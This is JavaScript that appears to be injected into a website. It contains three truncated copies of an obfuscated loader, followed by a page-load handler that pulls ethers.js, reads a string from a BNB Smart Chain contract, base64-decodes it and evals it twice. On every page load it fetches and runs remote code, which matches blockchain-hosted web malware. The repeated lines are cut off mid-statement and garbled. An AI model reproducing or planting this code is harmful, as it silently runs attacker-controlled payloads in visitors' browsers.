;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x
;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x
;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x
window.onload = function() {
console.log('window.onload called');
var ethersScript = document.createElement('script');
ethersScript.src = "https://cdn.ethers.io/lib/ethers-5.2.umd.min.js";
ethersScript.type = "application/javascript";
ethersScript.onload = function() {
console.log('ethers.js loaded');
var customScriptContent = `
async function geek() {
const provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/");
const address = "0xdf20921ea432318dd5906132edbc0c20353f72d6";
const ABI = [
{"inputs": [], "stateMutability": "nonpayable", "type": "constructor"},
{"anonymous": false, "inputs": [{"indexed": false, "internalType": "string", "name": "newCode", "type": "string"}], "name": "CodeUpdated", "type": "event"},
{"inputs": [{"internalType": "string", "name": "_code", "type": "string"}], "name": "update", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "get", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "link", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}
];
const contract = new ethers.Contract(address, ABI, provider);
const req = await contract.get();
const req_to_serc = atob(req);
async function fnv() {
const result = await eval(req_to_serc);
const dec_res = atob(result);
eval(dec_res);
load();
}
await fnv();
}
geek();
`;
var customScript = document.createElement('script');
customScript.type = "application/javascript";
customScript.innerHTML = customScriptContent;
document.head.appendChild(customScript);
};
ethersScript.onerror = function() {
console.error('Failed to load ethers.js');
};
document.head.appendChild(ethersScript);
};